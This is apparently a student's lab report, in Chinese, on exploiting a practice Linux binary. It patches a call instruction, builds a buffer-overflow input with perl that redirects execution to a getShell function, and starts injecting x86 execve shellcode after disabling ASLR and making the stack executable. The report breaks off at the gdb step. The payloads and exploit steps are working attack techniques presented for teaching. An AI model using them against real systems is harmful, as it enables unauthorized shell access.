Exp1 PC平台逆向破解 20154301仉鑫烨

Exp1 PC平台逆向破解1 20154301仉鑫烨

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片段。利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

[1] 运行原本不可访问的代码片段
[2]强行修改程序执行流
[3]以及注入运行任意代码。

2.实验过程

第一部分：

复制文件并运行原代码：

直接修改程序机器指令，改变程序执行流程
首先使用命令：

objdump -d 20154301

将程序反汇编。

从图中可以看到主函数中调用位于8048491处的foo函数，对应的机器指令为e8 d7 ff ff ff，通过猜测可知e8为跳转之意。

本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令，CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。

main函数调用foo，对应机器指令为“e8d7ffffff”，那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。

47d-4ba得到补码，是c3ffffff。下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

进入该文件的vi编辑模式：
搜索找到++e8 d7ff ffff++并修改成++e8 c3ff ffff++
键入如下命令wq，转回原格式，并存盘退出。
再利用反汇编命令查看该文件

第二部分：

通过构造输入参数，造成BOF攻击，改变程序执行流
反汇编，了解程序基本功能

反汇编首先通过反汇编分析该文件，发现该可执行文件正常情况下是调用foo函数，而foo函数中使用了gets函数，该函数不会检查用户输入的长度，所以我们可以通过输入过长的参数，使超过部分溢出，覆盖返回地址，造成BOF攻击，改变程序执行流。

确认输入字符串哪几个字符回复该到返回地址
调试并运行该文件gdb 20154301 r，接下来即要求输入参数，我们尝试性地输入1111111122222222333333334444444455555555
执行结果如下图所示，报错。

也就是说我们输入的最后八个5中的某四个覆盖了返回地址。

确认用什么值来覆盖返回地址

在之前我们知道getshell的内存地址是0804847d，加上之前所学在计算机内采用小端优先存储，我们可以确定需要输入的字符串为++11111111222222223333333344444444\x7d\x84\x04\x08++

构造输入字符串
由于我们没法通过键盘输入指定的16进制，我们通过以下命令来完成此操作

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

并通过xxd查看其十六进制格式

然后将input的输入，通过管道符|，作为20154301的输入

(cat input; cat) | ./20154301

此时main函数成功地调用了getshell函数，此时我们就可以输入shell指令了，如图

第三部分：

注入shellcode并执行
准备一段shellcode

apt-get instal prelink  （下载安装ececstack，否则接下来的命令无法执行）
execstack -s 20154301（设置堆栈可执行）
execstack -q 20154301（查询堆栈的文件是否可执行）
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space（关闭地址随机化）
more /proc/sys/kernel/randomize_va_space

如上图，显示为0时表示地址已经随机化

注入shellcode

Linux构造buf的两种方法
retaddr+nop+shellcode
nop+shellcode+retaddr
缓冲区足够大，所以使用nops+shellcode+retaddr这个结构。
输入如下shellcode：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

其中，x4x3x2x1 是用来试探地址的。

打开另一个终端，用gdb调试20154301这个进程